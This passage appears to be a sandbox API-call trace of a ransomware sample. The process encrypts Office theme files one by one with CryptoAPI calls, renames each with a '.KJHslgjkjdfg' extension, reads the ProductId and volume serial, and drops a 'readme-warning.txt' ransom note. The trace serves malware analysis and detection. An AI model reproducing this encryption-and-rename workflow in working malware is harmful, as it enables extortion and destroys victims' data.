nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SLATE.INF", cAlternateFileName="")) returned 1 [0178.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.199] GetProcessHeap () returned 0x990000 [0178.199] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.199] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.199] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.200] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xc, lpOverlapped=0x0) returned 1 [0178.201] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.202] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.202] GetProcessHeap () returned 0x990000 [0178.202] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0178.202] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0178.202] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.202] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0178.202] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.202] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.202] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.202] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.203] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.203] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.203] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.203] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.203] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f4, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1f4, lpOverlapped=0x0) returned 1 [0178.203] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x200, dwBufLen=0x200 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x200) returned 1 [0178.203] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.203] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x200, lpOverlapped=0x0) returned 1 [0178.203] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.203] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.203] SetEndOfFile (hFile=0x12c) returned 1 [0178.206] GetProcessHeap () returned 0x990000 [0178.206] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0178.206] GetProcessHeap () returned 0x990000 [0178.206] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.206] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf.kjhslgjkjdfg")) returned 1 [0178.212] CloseHandle (hObject=0x12c) returned 1 [0178.212] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0178.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.212] GetProcessHeap () returned 0x990000 [0178.212] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.213] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.213] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.213] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x7, lpOverlapped=0x0) returned 1 [0178.215] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.215] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.215] GetProcessHeap () returned 0x990000 [0178.215] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.215] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.215] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.215] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.215] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.215] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.216] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.216] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.216] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.216] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.216] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.216] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.216] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6a29, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x6a29, lpOverlapped=0x0) returned 1 [0178.219] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x6a30, dwBufLen=0x6a30 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x6a30) returned 1 [0178.220] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.220] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x6a30, lpOverlapped=0x0) returned 1 [0178.220] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.220] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x6b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.220] SetEndOfFile (hFile=0x12c) returned 1 [0178.223] GetProcessHeap () returned 0x990000 [0178.223] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.223] GetProcessHeap () returned 0x990000 [0178.223] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.223] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0178.228] CloseHandle (hObject=0x12c) returned 1 [0178.228] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0178.228] GetProcessHeap () returned 0x990000 [0178.228] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.228] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.228] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0178.228] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.228] GetProcessHeap () returned 0x990000 [0178.228] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0178.228] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.228] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0178.228] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.228] GetProcessHeap () returned 0x990000 [0178.228] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fd9f0 [0178.229] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.229] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fd9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fd9f0, pdwDataLen=0x29dee20) returned 1 [0178.229] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.229] GetProcessHeap () returned 0x990000 [0178.229] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0178.229] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.229] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0178.229] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.229] GetProcessHeap () returned 0x990000 [0178.229] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.229] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.229] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0178.229] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.229] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0178.229] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0178.229] RegCloseKey (hKey=0x12c) returned 0x0 [0178.230] GetProcessHeap () returned 0x990000 [0178.230] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0178.230] GetProcessHeap () returned 0x990000 [0178.230] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.230] GetProcessHeap () returned 0x990000 [0178.230] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.230] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.230] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0178.230] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.230] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0178.230] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0178.230] GetProcessHeap () returned 0x990000 [0178.230] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.230] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0178.230] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0178.230] GetProcessHeap () returned 0x990000 [0178.231] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0178.231] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\readme-warning.txt") returned 80 [0178.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.232] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0178.234] CloseHandle (hObject=0x12c) returned 1 [0178.234] GetProcessHeap () returned 0x990000 [0178.234] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0178.234] GetProcessHeap () returned 0x990000 [0178.234] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0178.234] GetProcessHeap () returned 0x990000 [0178.234] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0178.234] GetProcessHeap () returned 0x990000 [0178.234] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.234] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0178.235] GetProcessHeap () returned 0x990000 [0178.235] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0178.235] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SONORA", cAlternateFileName="")) returned 1 [0178.235] GetProcessHeap () returned 0x990000 [0178.235] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b0940 [0178.235] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0178.236] GetProcessHeap () returned 0x990000 [0178.236] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0178.236] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0178.236] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0178.236] GetProcessHeap () returned 0x990000 [0178.236] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9b1eb0 [0178.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.237] GetProcessHeap () returned 0x990000 [0178.237] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.237] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.237] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.237] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xf, lpOverlapped=0x0) returned 1 [0178.239] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.239] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.239] GetProcessHeap () returned 0x990000 [0178.239] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.240] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.240] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.240] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.240] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.240] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.240] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.240] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.240] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.240] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.240] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.240] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.240] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8a1, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | 